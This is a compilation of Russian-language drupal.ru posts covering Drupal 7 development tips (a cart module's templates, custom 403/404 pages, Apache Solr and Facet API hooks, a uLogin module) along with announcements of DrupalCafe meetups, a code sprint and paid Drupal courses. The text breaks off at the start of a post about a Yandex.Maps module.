Вывод ссылки на страницу продолжения покупок.
<a class="@sty(true,{href:Acar.Reso.Lis.Csh.Url}) @con(true,'Acar.Reso.Lis.Csh.Tex',null)"></a>

Отображение значений других полей продукта.

Что бы отобразить, другие поля продукта, да и вообще любые другие данные, эти самые данные необходимо передать в объект ресурсов.
Осуществляется это при помощи функций: mytheme_acar_reso_lis и mytheme_acar_reso_ite, размещенных в файле template.php, в каталоге темы оформления.
Эти функции позволяют передать в объект ресурсов продукта или корзины, любые данные со стороны сервера. Каждая из них, должна возвращать ассоциативный массив передаваемых данных.
Функция mytheme_acar_reso_lis.
function mytheme_acar_reso_lis(&$var)
Функция mytheme_acar_reso_lis используется для передачи в объект ресурсов корзины, данных со стороны сервера. Вызывается она один раз.

function mytheme_acar_reso_lis(&$var){ return array( 'parametr1' => 'value1', 'parametr2' => 'value2', 'parametr3' => 'value3', ); }

Функция mytheme_acar_reso_ite.
function mytheme_acar_reso_ite(&$var)
Функция mytheme_acar_reso_ite используется для передачи данных в объект ресурса продукта. Вызывается каждый раз для каждого отдельного продукта. Внутри этой функции нода продукта доступна через переменную $var['ite'].

function mytheme_acar_reso_ite(&$var){ return array( 'length' => $var['ite']->length, 'width' => $var['ite']->width, 'height' => $var['ite']->height, ); }

Если возникнут сложности с поиском необходимого поля, содержимое ноды можно отпечатать, использовав функции print_r. А в браузере увидеть результат нажав ctrl+U. И уже там разбираться, где же находится, или как называется требуемое вам поле.

function mytheme_acar_reso_ite(&$var){ print_r($var['ite']); return array(); }

После того как нужные нам данные переданы в объект ресурсов, они становятся доступными для вывода, при помощи функции @con.

<input class="@con(true,'length')" type="text"/> <input class="@con(true,'width')" type="text"/> <input class="@con(true,'height')" type="text"/>

Имейте ввиду. Некоторые поля, могут не иметь значений вовсе. В этом случаи разумно, осуществлять проверку верности поля правильному значению, и только в этом случаи выводить его. Это особенно актуально, если со значением поля выводится какой, либо комментирующий его текст. Так как если поле будет пустым, то и текст будет неуместен.
Осуществить такую проверку можно через аргумент условие использования. Он обязательно должен заканчиваться символом ‘;’, что бы работать в области видимости объекта ресурса.

<div class="@con('length!=0;','\'Длина:\'+length')"></div> <div class="@con('width!=0;','\'Ширина:\'+width')"></div> <div class="@con('height!=0;','\'Высота:\'+height')"></div>

Отображение формы корзины или формы добавления в любом другом месте.

Форму корзины и форму добавления можно вставить где угодно. Для этого предназначены функции Acar_VieCar и Acar_VieAdd.
Функция Acar_VieCar
function Acar_VieCar($tpl)
Возвращает javascript код, создающий форму корзины, на основе указанного шаблона.
$tpl – Полный путь к файлу шаблона.
Эта функция если нужно, выполняет все необходимые инициализации и подключение всех требуемых ресурсов, если это не было сделано ранее.
И возвращённый её javascript должен быть размещён в теле html документа. Форма корзины будет создана в том же самом месте, где и этот самый javascript, при его исполнении.
Для размещения формы корзины, внутри формы drupal, необходимо использовать свойство ‘#markup’.

$form[] = array( '#markup' => Acar_VieCar(path_to_theme().'/acar_pane.tpl.php'), );

Функция Acar_VieAdd
function Acar_VieAdd($tpl, $nid)
Возвращает javascript код, создающий форму добавления для конкретного продукта, на основе указанного шаблона.
$tpl – Полный путь к файлу шаблона.

$nid – Идентификатор продукта.

Прикрепленный файл Размер mvca-7.x-1.06.zip 8.51 кб acar-7.x-1.07.zip 31.93 кб

Источник: http://www.drupal.ru/node/80901

Модуль – сервис оповещения Яндекса о появлении новых страниц на сайте

27 апреля Яндекс выпустил модуль оповещения себя об обновлении/добавлении новых страниц на сайт:
http://site.yandex.ru/cms-plugins/?from=wmblog
Модуль подходит для всех популярных CMS, в т.ч. и для Drupal 5, 6, 7.

Требует установки яндекс-поиска на сайт и добавления сайта в панель Яндекс.Вебмастер. Вроде-бы штука полезная, но я почему-то не могу отправить запрос, модуль говорит: “Яндекс.ПДС: Невозможно отправить пинг. Причина:Сайт не подтвержден в сервисе Яндекс.Вебмастер для указанного имени пользователя”. Хотя в сервисе Яндекс.Вебмастер всё давно подтверждено.

Через несколько часов модуль заработал, видать, дошло, поиск Яндекса индексирует сразу новый материал. Чуть переделал CSS и получилось прикольно.

Источник: http://www.drupal.ru/node/80814

Пингеры от Яндекса для индексации страниц (офциальные модули)

Яндекс выпустил модули “пингеры” для облегчения индексации страниц.

Цитирую Яндекс:
«Вы можете повысить приоритет индексирования некоторых страниц вашего сайта с помощью дополнений для CMS, которые могут отсылать запросы на индексацию автоматически. Дополнение, установленное в CMS, отслеживает изменения на сайте и генерирует запросы на индексацию при создании или изменении документов.»

Подробнее по ссылке + документация

Источник: http://www.drupal.ru/node/80761

Подключение своих шаблонов для страниц 403 и 404

Есть несколько способов создать свои «красивые» страницы для ошибок 403 и 404.
Я расскажу как я это делал через переопределение шаблона.
1. В каталоге текущей темы создаем шаблон для вывода страницы с ошибкой
Я его назвал page–error.tpl.php
Содержимое файла самое простое:

<?php /** * @file * $error_code - Error num (403 or 404) * $error_content - HTML error content */ ?> <div class="page clearfix" id="page-<?php print $error_code;?>"> <div class="content-page-<?php print $error_code;?>"> <h2> <?php print l($site_name, '<front>', array('attributes' => array('title' => t('Home')), 'html' => TRUE)); ?> </h2> <h1><?php print $error_code;?></h1> <?php print render($error_content); ?> </div> </div>

2. В файле template.php создаем (или изменяем) две функции
Имя_Вашей_темы_preprocess_html(&$vars) и Имя_Вашей_темы_preprocess_page(&$vars)
Моя тема называется olkit, соответственно и функции будут:

<?php
function olkit_preprocess_html(&$vars) {
  $header = drupal_get_http_header();
  if (isset($header['status']) && ($header['status']=='403 Forbidden' || $header['status']=='404 Not Found')) {
          $vars['attributes_array']['class'][] = 'page-error';
  }
}
?>

В данной функции я просто добавляю к тэгу body – дополнительный класс page-error, он мне понадобился для дальнейшего оформления страницы посредством CSS, если вам этого не надо, то можно не переопределять данную функцию.

И наконец основная функция, где мы переопределяем шаблон и заполняем необходимые переменные для обработки в шаблоне.

<?php
function olkit_preprocess_page(&$vars) {
    $header = drupal_get_http_header();
    if (isset($header['status']) && $header['status']=='403 Forbidden') {
     $vars['theme_hook_suggestions'][0] = "page__error";
     $vars['error_code'] = 403;
     $error_content = "<h6> У вас нет доступа на страницу, которую вы запросили.";
     $error_content .= "Возможно, вы ошиблись при наборе адреса, перешли по неверной ссылке или для доступа к данной странице необходимо зарегистрироваться.</h6>";
     $error_content .= "<ul><li>проверьте правильность написания адреса</li>";
     $error_content .= "<li>воспользуйтесь главной страницей ";
     $error_content .= l('Отель «У старого программиста»', '<front>', array('attributes' => array('title' => t('Home')), 'html' => TRUE));
     $error_content .= "</li><li>Зарегистрируйтесь на нашем сайте ";
     $error_content .= l('Войти', 'user/login', array('attributes' => array('title' => t('Login')), 'html' => TRUE));
     $error_content .= " | ";
     $error_content .= l('Зарегистрироваться', 'user/register', array('attributes' => array('title' => t('Login')), 'html' => TRUE));
     $error_content .= "</li></ul>";
     $vars['error_content'] = $error_content;
    }
    if (isset($header['status']) && $header['status']=='404 Not Found') {
     $vars['theme_hook_suggestions'][0] = "page__error";
     $vars['error_code'] = 404;
     $error_content = "<h6> Страница, которую вы запросили, отсутствует на нашем сайте.";
     $error_content .= "Возможно, вы ошиблись при наборе адреса или перешли по неверной ссылке.</h6>";
     $error_content .= "<ul><li>проверьте правильность написания адреса</li>";
     $error_content .= "<li>воспользуйтесь главной страницей ";
     $error_content .= l('Отель «У старого программиста»', '<front>', array('attributes' => array('title' => t('Home')), 'html' => TRUE));
     $error_content .= "</li></ul>";
     $vars['error_content'] = $error_content;
    }
}
?>

«Важный момент:»
строка $vars['theme_hook_suggestions'][0] = “page__error”;
определяет какой файл будет применен в качестве шаблона страницы, при этом имя файл шаблона строиться следующим образом, в значении page__error – подчеркивания заменяются на дифисы и добавляется расширение .tpl.php, таким образом для значения page__error файл должен иметь имя page–error.tpl.php

Далее посредством CSS настраиваем внешний вид страниц.
Вот и все, сбрасываем кэш и смотрим что у нас получилось.

Данный материал это репост с моего блога Подключение своих шаблонов для страниц 403 и 404

Ну и небольшой скриншотик

Источник: http://www.drupal.ru/node/80502

Работа с Facet API и Apache Solr. Часть 3

Привет.

Продолжаю свои заметки про работу с поисковиком Solr. В прошлых постах я писал о том, как добавлять в индекс дополнительные поля, как управлять процессом индексации определенного поля и как научить solr искать в этих полях. Сегодня расскажу о том, как можно договориться с solr’ом о том, что индексировать, а что нет. Оговорюсь, что нижеприведенный способ работает адекватно только начиная с версии apachesolr-1.x-beta19, раньше этого не было. Итак, рассказываю.

На самом деле рассказывать то особо и нечего, всё потрясающе просто. Представим, что по определенным признакам мы не хотим индексировать ноду, для этого у apachesolr есть status callback. В моем случае у типа материалов “публикация” есть чекбокс “Индексируемая”, по умолчанию отмеченный, но если галочку снимут, то публикация не будет ни индексироваться, ни, само собой, выводиться в результатах поиска. Сделано это следующим образом:

<?php
// Для начала мы должны сообщить модулю apachesolr о использовании кастомного коллбэка. Делается это с помощью
// реализации хука <strong>hook_apachesolr_entity_info_alter()</strong>, описанного в файле apachesolr.api.php.
// Таких коллбэков может быть несколько.
function inti_apachesolr_entity_info_alter(&$entity_info) {
  // Способ, как видите, работает не только для нод, а для любых сущностей.
  $entity_info['node']['status callback'][] = 'inti_index_node_status_callback';
}

// Эта функция должна возвращать TRUE, если публикация индексируемая, иначе FALSE.
// Коллбэк по умолчанию проверяет, опубликована ли нода. Учитывая, что коллбэков может быть
// несколько, как я написал выше, здесь мне это проверять нет нужды. 
function inti_index_node_status_callback($entity_id, $entity_type) {
  $node = node_load($entity_id, NULL, TRUE);
  $status = TRUE;
  if (($node->type == 'publication') && !empty($node->field_do_search)) {
    $status = ($node->field_do_search['und'][0]['value']) ? TRUE : FALSE;
  }
  return $status;
}
?>

Вот и всё. Важное примечание: как я понял, после изменения функции, реализующей hook_apachesolr_entity_info_alter(), нужно очистить кэш.

В следующий раз будет пост (тоже небольшой) о том, как научить Apache Solr искать с использованием wildcard(*). Как ни странно, но по умолчанию, поддержки поиска по частям слов нет.

Ссылки:
Часть 1. О добавлении полей в индекс и фасетах.
Часть 2. О подмене коллбэка для индексации определенного полям и о том, как искать по дополнительным полям.
Часть 4. Установка Solr 3.x и поиск с использованием *

Источник: http://www.drupal.ru/node/80497

Работа с Facet API и Apache Solr. Часть 2

Всем привет. В предыдущем посте я рассказал, как можно “повлиять” на процесс индексации, добавляя дополнительные поля в индекс, и создавать свои фасеты (фильтры) с помощью Facet API. Сегодня я хочу рассказать об альтернативном способе индексирования полей и возможности поиска по дополнительным полям. Дело в том, что Solr не ищет по всем полям, а только по тем, о которых его просят. Итак, поехали.

Представим задачу, когда нам нужно не добавить какое-то поле из связанных материалов, а изменить способ индексации какого-то текущего поля. Например, есть такой модуль Field Collection, позволяющий сделать поле-контейнер, содержащее в себе несколько полей. В моей структуре с помощью него у публикации указывается автор, а к автору – организация, в которой он работает:

В базе данных у меня есть таблица field_data_field_author_org, в которой есть поле value, которое указывает на entity_id поле таблиц field_data_field_author и field_data_field_jobs. Таким образом в индексированном документе публикации я получаю поле im_field_author_org, значение которого мне абсолютно не нужно. Вот для того, чтобы указать, как будет индексироваться поле, мне нужно определить indexing_callback для этого поля в функции, реализующей хук hook_apachesolr_field_mappings(), находящийся в файле apachesolr.api.inc:

<?php

function inti_apachesolr_field_mappings() {
  // Функция должна вернуть массив, в котором ключем может быть либо тип поля, либо значение 'per_field'. 
  // В первом случае мы указываем, как будут индексироваться поля этого типа, во втором - значением будет массив,
  // у которого ключем будет имя поля. Настоятельно рекомендую ознакомиться с документацией ко всем хукам, которые
  // я указываю в заметках, для этого я пишу, в каких файлах они находятся. Дело в том, что в документации
  // это описано довольно подробно, а я лишь хочу описать сам принцип.
  $mappings = array();
  $mappings['per-field']['field_author_org'] = array(
    'indexing_callback' => 'inti_field_author_org_indexing_callback',
    // В это поле я хочу записать имена авторов и организаций, поэтому меняю тип с int на text,
    // это повлияет на имя поля (см. мой предыдущий пост), которое в данном случае генерируется 
    // автоматически
    'index_type' => 'text',
    // Фасеты по этому полю мне не нужны, потому что их я формирую вручную (описано также в предыдщем посте)
    'facets' => FALSE,  
  );
  return $mappings;
}

function inti_field_author_org_indexing_callback($entity, $field_name, $index_key, $field_info) {
  $fields = array();

  // Получаем все значения нашего поля
  $field_values = array_map(function($n) { return $n['value']; }, $entity->{$field_name}['und']);  

  // По этим значениям достаем всех авторов и организации прямо из базы данных
  // В момент написания заметки я предположил, что можно было бы воспользоваться функционалом
  // самого модуля Field Collection, но это предположение я проверю позже. :)
  $select = db_select('node', 'n');
  $select->join('field_data_field_author', 'fdfa', 'fdfa.field_author_nid = n.nid');
  $select->condition('fdfa.entity_id', $field_values, 'IN');
  $select->fields('n', array('title'));
  $authors = $select->execute()->fetchCol();
  
  $select = db_select('node', 'n');
  $select->join('field_data_field_jobs', 'fdfj', 'fdfj.field_jobs_nid = n.nid');
  $select->condition('fdfj.entity_id', $field_values, 'IN');
  $select->fields('n', array('title'));
  $orgs = $select->execute()->fetchCol();

  // Формируем массив с $index_key в кач-ве ключей, и 
  // именами авторов и названиями всех организаций в кач-ве значений.
  $fields[] = array(
    'key' => $index_key,
    'value' => implode(' ', $authors),
  );
  $fields[] = array(
      'key' => $index_key,
      'value' => implode(' ', $orgs),
  );
  return $fields;
}

?>

Таким образом в результате индексирования поле у меня выглядит следующим образом:

[tm_field_author_org] => Array ( [0] => Иванов Е. С. Петрова Р. Ш. // Авторы [1] => Рога и копыта Министерство образования и науки // Организации )

Теперь мне нужно сообщить Solr’у, что по этому полю тоже необходимо производить поиск. Делается это с помощью реализации хука hook_apachesolr_query_alter(), описанном всё в том же чудесном файле apachesolr.api.php:

<?php

function inti_apachesolr_query_alter($query) {
  // Поля, в которых нужно искать, должны быть добавлены в параметр 'qf' поискового запроса.
  // Формат параметров - обычный массив, значения которого выглядят как fieldname^boost, т.е. тут же поисковик
  // будет уведомлен о приоритетах. В моём случае поле достаточно важное, поэтому приоритет делаю 
  // высоким. Напомню, что имя поля должно быть указано не то, которое в Drupal'е, а то, которое
  // в индексированном документе.
  
  $params = array('tm_field_author_org^25.0');
  $query->addParam('qf', $params);
}

?>

Кстати, $query – это интерфейс DrupalSolrQueryInterface, описанный в файле apachesolr.interface.inc, с которым рекомендую ознакомиться, если вы хотите узнать, как еще можно работать с запросом перед его отправкой.

Собственно, вот и всё. В следующем посте расскажу о status_callback и индексировании определенных нод.

Примечание: вышенаписанное актуально для текущих версий модулей apachesolr (7.x-1.0-beta19) и facetapi (7.x-1.0-rc4). Они активно развиваются, поэтому если у вас другая версия и что-то не работает, читайте release notes.

Ссылки:
Часть 1. О добавлении полей в индекс и фасетах.
Часть 3. О том, как не индексировать, если не хочется.
Часть 4. Установка Solr 3.x и поиск с использованием *

Источник: http://www.drupal.ru/node/79948

DrupalCafé №4 в Харькове – 05.04.2012


В четверг, 5 апреля, в 19:00, в Харькове пройдет уже четвертое DrupalCafe.
Место проведения – все так же – Выставочный центр «РАДМИР ЭКСПОХОЛЛ», по адресу ул. Академика Павлова 271 (м. Академика Павлова).

Темы докладов:
1. “Архитектура Drupal Commerce. Основы работы с Drupal Commerce” (Александр Мильковский, WDG)
- Архитектура Drupal Commerce.
- Основы работы с Drupal Commerce.
- Краткий обзор полезных модулей.

2. “Drupal 7 Deploy” (Антон Иванов, WDG)
Обзор существующих методов переноса функционала с Dev сайта на Production, а также рассмотрение подхода к разработке который позволяет упростить и автоматизировать Deploy.

3. “Разработка адаптивных шаблонов на базе Omega.” (Тарас Омельяненко)
Доклад рассказывает об отличной теме Omega и возможности на полную силу использовать весь ее функционал. Ожидается холивар поклонников темы Fusion.

Участие бесплатное, в программе кофе, чай, блекджек, cookies.
Желательно предварительная регистрация, всем желающим – отпишите в комментарии или в контакты ниже.
https://docs.google.com/spreadsheet/viewform?formkey=dERVTEhMVEdZMVdIVlk…

По всем вопросам можно обращаться:
+38(099)3525316 – Алексей Гайдабура, gaydabura@gmail.com skype: alexey.gaydabura
Спонсор по прежнему – WDG (http://wdg-company.com/)

Источник: http://www.drupal.ru/node/79063

Drupal Cafe’2012 в Москве. Быть!

11 апреля 2012 года с 19:00 по 23:00 пройдет великое событие – первое DrupaCafe в 2012 году в городе Москва!
Для проведения мероприятия зарезервирована комната в антикафе Бабочки – по ссылке адрес и карта, по которой проходить. Место находятся рядом с м. Павелецкая (выход с кольцевой ветки), буквально несколько минут пешком.
Главное не теряться и заходить именно со двора, а не с улицы. Само антикафе находится на 5 этаже здания.

Для участников будут выдаваться магнитные карты, поэтому важно – девушке на входе обязательно говорите, что вы по брони на имя Колосов Алексей или ДрупалКафе. Вам укажут куда заходить, где мы находимся.
В случае если вы такого не скажете – вам выдадут персональную карту с отдельно оплачиваемым временем. По брони время уже оплачено, вам дополнительно ничего не надо платить.

В качестве бонуса – бесплатный чай, кофе, печенье, пряники. Если хочется под вечер покушать что-то более сытное – можно заказать доставку еды самому или написать мне пожелание, постараюсь пойти навстречу в пределах разумного.
Обращаю внимание, что там не курят и не пьют алкоголь, поэтому просьба курильщиков выходить на улицу, а алкоголиков воздержатся от злоупотребления!

Напомню, что последняя встреча проводилась в декабре 2011, а на дворе уже практически апрель 2012!
На мой взгляд, это недопустимое упущение для русского сообщества в столице России. Формат встреч такого плана предполагает их регулярное проведение и перерыв в несколько месяцев очень губителен для атмосферы сообщества.

Резиденты DrupalCafe:
Алексей aka Softovick (моб. +7 (919) 104-98-73)
Виктор aka RxB

Гости мероприятия:
технический специалист от Яндекс (виртуальное общение по Skype)
владелец hr-portal.ru Валерий aka valeratal.
гуру СЭД на Drupal – Антон aka NaZg
представитель женской части русскоязычного сообщества – Мария (gagaga)

Предварительный список тем для обсуждения:

Темы обсуждения. Социальные сети на Drupal. Вкратце о том, какие элементы социальных сетей можно делать на Drupal (предварительно, от RxB). Обсуждение API Яндекс.Денег от технического специалиста! (приглашен разработчик от Яндекс) Практический опыт заработка на сайте, блоки контекстной рекламы. Валерий, hr-portal.ru Коротко об анализе узких мест в плане нагрузки на сервер сайтов на Drupal, некоторые наблюдения за очевидными ошибками после завершения разработки сайта и за особо тяжелыми модулями. (от Softovick & IT-Patrol inc) Друпал-лулзы, или примеры особо неправильных и опасных приемов разработки сайтов на Drupal (от RxB). Построение фото-магазина на Drupal. Обсуждение основ и вариантов реализации с использованием модуля Maestro (Drupal 7) (Антон NaZg). Обсуждение смежных вопросов и вопроса организации DrupalCafe в перспективе

На всякий случай хочу уточнить свое видение насчет места и формата проведения мероприятия. Я бы хотел, чтобы это было тихое и светлое место, важно наличие большого телевизора или возможность использования проектора для проведения презентаций. Также считаю немаловажным возможность закусить – в вечернее время любой человек не откажется от чашечки кофе с десертом, а многие я думаю и от легкого ужина. Жду ваших предложений и замечаний!

UPD:
сообщество ДрупалКафе ВКонтакте
страница ДрупалКафе на Facebook
UPD2:
тема на DrupalSN.Ru

Источник: http://www.drupal.ru/node/78994

Работа с Facet API и Apache Solr. Часть 1

Всем привет.

Так сложилось, что передо мной встала задача создать библиографическую систему для хранения научных публикаций в большом количестве. Ну и как в любой нормальной библиографической системе, мне нужен поиск. На момент начала работы я уже был знаком с модулями Apachesolr search integration и Facet API, работающими в связке, и у которых довольно много возможностей из коробки, а помимо них есть ведь и API. Так вот некоторые мои задачи из коробки не решались, пришлось пообщаться и с разработчиками, и поковыряться в коде, поэтому я таки решил написать о решении некоторых задачек здесь. Возможно, кому-то будет полезно, возможно кто-то предложит, как сделать лучше.

Итак, поехали. Расписывать модули и что они делают, я не буду, это неинтересно, можно почитать на drupal.org и в интернете, благо, такой информации достаточно. В этом посте я хочу рассказать о том, как можно создавать свои собственные фильтры (их еще называет фасетами).

Дело в том, что в моём проекте достаточно непростая структура. Так, например, у меня есть тип материала “Публикация”, у которого есть поле – ссылка на материал типа “Издание”. В свою очередь, у издания есть поле – ссылка на материал “Издательство”. Таким образом, когда я ищу публикации, в списке доступных фильтров я вижу “Издания”, но, что если я хочу фильтровать результаты поиска по издательствам, когда они привязаны к публикациям не напрямую?

Один из предложенных вариантов решения этой задачки было ручное индексирование публикаций. Добавив в индексированную публикацию поле издательства мы легко получим нужный фильтр. Добавить поле можно с помощью реализации хука hook_apachesolr_index_document_build() (если вы такого хука не нашли, значит у вас старая версия модуля apachesolr, где он называется hook_apachesolr_update_index()), описанного в файле apachesolr.api.php:

<?php
function mymodule_apachesolr_index_document_build($document, $node, $namespace) {
  if ($node->type == 'publication') {
    if (!empty($node->field_edition)) {

      // Примечание: $node->field_edition - это ассоциативный массив, в котором ключами являются языки, это важно понимать при индексировании. 
      // В данном случае у меня материалы не привязаны к языку, поэтому ключ массива я захардкодил.
      foreach ($node->field_edition['und'] as $edition) {
        if (!empty($edition['node']->field_publishing_house))    {
          foreach ($edition['node']->field_publishing_house['und'] as $pubhouse) {

            // Ну а таким образом я добавляю новое поле в наш документ. Здесь хочу добавить два примечания.
            // Первое: В качестве значения не надо пихать весь термин, или всю ноду, а достаточно проиндексировать идентификатор.
            // Второе: У Apachesolr есть правила именования поля. Название всегда должно быть формата xy_fieldname, где
            // x - тип поля (s - строка, t - текст, i - тип long, а f - float), а y - количество значений (s - одно, m - несколько).
            // В моем примере в поле хранится идентификатор, а издательство у издания может быть только одно.
            // fieldname может быть любым, но для себя я решил, что разделяю его на две части, где первая хранит информацию о том, чье это поле,
            // а вторая - о том, что это поле содержит. pub - публикация, pubhouse - издательство.
            $document->addField('is_pub_pubhouse', $pubhouse['nid']);          
          }
        }
      }
    }
  }
}
?>

Таким образом в самом друпале у нас публикация не хранит информацию о своём издательстве, а в индексе хранит. И помимо этого, может хранить любую другую информацию, какую разработчик пожелает туда “запихнуть”.
Но этого недостаточно. Теперь мы должны рассказать модулю Facet API, что мы хотим по этому полю получить фильтр. Это, в свою очередь, решается с помощью реализации хука hook_facetapi_facet_info(), описанного в файле facetapi.api.php:

<?php
function mymodule_facetapi_facet_info($searcher_info) {
  // Данная функция должна возвращать ассоциативный массив с описаниями полей, где
  // ключом является само название поля.
  $facets = array();
  $facets['is_pub_pubhouse'] = array(

    // Название фильтра на странице настройки.
    // Учитывая, что каждый фильтр отображается в блоке, а заголовок блока я всегда успею переопределить,
    // метку я тоже решил делать понятной
    'label' => t('Publication->Pubhouse'),
    'description' => t('Pubhouse facet for publications'),

    // Здесь я должен указать название коллбэка, который будет вместо идентификаторов подставлять нормальные 
    // значения. Для полей - ссылок на таксономию рекомендую использовать уже готовый коллбэк
    // facetapi_map_taxonomy_terms, для ссылок на ноды я создал свой коллбэк, для полей со списком значений
    // я создавал отдельные коллбэки, хотя возможно, можно это сделать изящнее.
    // Помимо этого, здесь можно указать параметры фильтра такие, как, например, древовидность (hierarchy_callback).
    // Подробнее можно посмотреть в вышеуказанном файле facetapi.api.php в коде описания хука.
    'map callback' => 'mymodule_map_node_references',
  );
}

function mymodule_map_node_references(array $values) {
  // Здесь все очень просто, коллбэк возвращает ассоциативный массив, где ключ массива - это значение, хранимое в поле,
  // а значение в массиве - это то, что должен увидеть пользователь.
  $map = array();
  if ($values) {
    $map = db_select('node', 'n')->fields('n', array('nid', 'title'))->condition('n.nid', $values, 'IN')->execute()->fetchAllKeyed();
  }
  return $map;
}
?>

Вот, собственно, и всё. Теперь после включения модуля и переиндексации содержимого на сайте (еще может потребоваться очистка кэша) на странице фильтров я могу увидеть свой фильтр, включить его, настроить и, собственно, пользоваться.

Примечание: вышенаписанное актуально для текущих версий модулей apachesolr (7.x-1.0-beta16) и facetapi (7.x-1.0-rc4). Они активно развиваются, поэтому если у вас другая версия и что-то не работает, читайте release notes.

Ссылки:
Часть 2. О подмене коллбэка для индексации определенного полям и о том, как искать по дополнительным полям.
Часть 3. О том, как не индексировать, если не хочется.
Часть 4. Установка Solr 3.x и поиск с использованием *

Источник: http://www.drupal.ru/node/78426

DrupalCodeSprint 19-21 апреля 2012 в Харькове!

Приглашаем всех желающих принять участие в Drupal Code Sprint!

С 19-го по 21-е апреля в Харькове чистый кодинг без границ в команде профессионалов под руководством ведущих украинских контрибьюторов.

Принять участие в мероприятие абсолютно БЕСПЛАТНО может любой желающий, но количество мест ограничено. Спешите!

Подробности на сайте мероприятия – http://drupalcodesprint.com/

Контакты организаторов:
Тел.: +38 (067) 5777-369
E-mail: info@drupalcodesprint.com

На сайте опубликованы темы проектов для голосования и обсуждения.

Тимлиды проектов код-спринта: Александр Швец Андрей Поданенко Вадим Миргород Дмитрий Олареско Андрей Постников Юрий Герасимов Юрий Глушков Влад Савицкий Дмитрий Кресин Егор Талдыкин Павел Прищепа Чингис Санданов Ярослав Дорощук Партнеры: Drupal.ua Итл DrupalCafe.com.ua Радмир Экспохолл Прикрепленный файл Размер banner_drupal_ua_final.jpg 118.61 кб

Источник: http://www.drupal.ru/node/78377

uLogin – новый модуль авторизации через Facebook, Vkontakte, odnoklassniki, twitter…

Добрый день,

Для друпала 7 написал модуль авторизации для сервиса uLogin. Функционально очень схож с Loginza.

Реализованные возможности по состоянию beta5 (12 марта 2012), учитывались замечания и пожелания отсюда:

Виджет сделан в виде нового элемента – поэтому его можно использовать в любой форме:
<?php $form['widget'] = array('#type' => 'ulogin_widget');</li> ?> Его настройки по умолчанию конфигурируются через админку. Разработчики могут их переопределять, задавая эти настройки в своих формах при добавлении виджета (разработчики найдут, какие именно настройки они могут переопределять). Несколько виджетов на одной странице работают корректно и не глючат. Пользователи могут подключить к одному своему аккаунту несколько различных айдентити (зайкладка uLogin identitites в профиле пользователя) – и смогут логиниться в свой аккаунт используя любую из них. Так же смогут и удалить привязанные к аккаунту айдентити (при удалении айдентити, которая использовалась для создания аккаунта, требуется указать айдентити, на которую её заменить). Модуль определяет токены для аккаунтов, которые были созданы с помощью айдентити – эти токены можно использовать в модулях Rules, Realname, и в других, где используются токены пользователя. Также есть настройка, которая позволяет запретить регистрацию пользователей с одинаковыми мылами – в этом случае пользователю выдается ошибка и предлагается залогиниться с помощью другой айдентити либо с помощью логина и пароля. В админке можно проставить, на какие их трех форм (форма логина, форма логина в блоке, форма регистрации) добавить дефолтный виджет.

Разработка модуля проспонсирована Forbes.ru, будет использоваться в новом проекте на друпале 7.

Источник: http://www.drupal.ru/node/78145

Школа Drupal в Москве (от siteograf.com)

Уроки Друпал для начинающих в Москве – вступайте в группу http://vk.com/drupal_moscow

Каждый участник сделает собственный сайт, научится работать с CMS Drupal, освоит основы создания корпоративных порталов.

Важное условие: уверенный пользователь ПК.

Участники школы Друпал поймут специфику создания сайтов на Drupal, каждый будет работать над своим собственным проектом, и на выходе получит работающий полноценный сайт.

Компания Siteograf.com проводит занятия по обучению Drupal с февраля 2011 года. За это время мы провели свыше 15 образовательных программ в Киеве и Москве для начинающих веб-разработчиков.

Свыше 5 лет Siteograf занимается разработкой сайтов на CMS Drupal для клиентов.

Лектор: Виктор Богуцкий, Siteograf.com

Стоимость участия во всем курсе Школы составляет 2599 рублей.

Для регистрации:
Отправь письмо на daredjana@gmail.com, напиши свои имя-фамилию, контактный мобильный телефона. В теме письма укажи «Школа Drupal в Москве».

Подробности программы и отзывы смотрите на siteograf.com
и в нашей группе вконтакте “Обучение Drupal” http://vk.com/drupal_education

Источник: http://www.drupal.ru/node/77701

18 и 31 марта Третья Школа Drupal в Москве (от siteograf.com)

Уроки Друпал для начинающих в Москве.
Каждый участник сделает собственный сайт, научится работать с CMS Drupal, освоит основы создания корпоративных порталов.

Важное условие: уверенный пользователь ПК.

Участники школы Друпал поймут специфику создания сайтов на Drupal, каждый будет работать над своим собственным проектом, и на выходе получит работающий полноценный сайт.

Компания Siteograf.com проводит занятия по обучению Drupal с февраля 2011 года. За это время мы провели свыше 15 образовательных программ в Киеве и Москве для начинающих веб-разработчиков.

Свыше 5 лет Siteograf занимается разработкой сайтов на CMS Drupal для клиентов.

Программа

18 марта, воскресенье
Блок 1.
12.00-15.00
• Установка друпала
• Модули и темы.
• Меню и блоки.
• Методика изучения.
• Создание разделов и страниц подразделов, вставка картинок, оформление контента.
• Установить и включить модули menu block, colorbox, global redirect, XML sitemap, page title.
• Скачать и установить тему дизайна, которая наиболеее подходит под вид деятельности.

Блок 2.
15.00-17.00
• Типы материалов. Создание своих типов материалов.
• Таксономия.
• Создание полей в типе материала.
• Модуль Views. Вывод полей используя views.
• Работа с блоками.
• Использование CSS для изменения внешнего вида сайта и его элементов.

Домашнее задание: селекторы CSS, потренироваться в изменении основных свойств и значений.

31 марта, суббота
Блок 3.
12.00-15.00
• Работа с пользователями.
• Права доступа.
• Модули для работы с пользователями.
• Особенности регистрации и вывод полей из профиля пользователей.
• Взаимодействие пользователей.
• Интеграциия с социальными сетями.
• Умение добавить поля в регистрационную форму пользователей, создание и использование своих шаблонов.

Блок 4.
15.00 – 17.00
• Модуль Panels.
• Редактирование шаблона вывода.
• Модули для seo.

Лектор: Виктор Богуцкий, Siteograf.com
Место проведения: Шоколадная фабрика, ул.Рабочая, 38
м.Римская либо м.Площадь Ильича

Стоимость участия во всем курсе Школы составляет 2599 рублей.

Для регистрации:
Отправь письмо на daredjana@gmail.com, напиши свои имя-фамилию, контактный мобильный телефона. В теме письма укажи «Школа Drupal в Москве 18 и 25 марта». .

Хочешь получить скидку в 100 рублей?
Напиши на своей страничке вконтакте и фейсбуке «Иду учиться делать сайты Школа Drupal http://vk.com/drupal_moscow» (сообщите об этом нам, отправив ссылку на свой профиль на daredjana@gmail.com)

По всем вопросам звонить (925) 380 08 36 Даша.

Подробности программы и отзывы смотрите на siteograf.com и в нашей группе вконтакте “Обучение Drupal” http://vk.com/drupal_education

Источник: http://www.drupal.ru/node/77701

VK OpenAPI для Drupal 7

Енто быстрый и грязный порт vk_openapi под семерку.

https://github.com/orangeudav/vk_openapi7

Источник: http://www.drupal.ru/node/77262

Модуль Яндекс.Карты 7.x

Модуль состоит из трех суб-модулей:

Яндекс.Карты API – вспомогательные функции для других модулей.
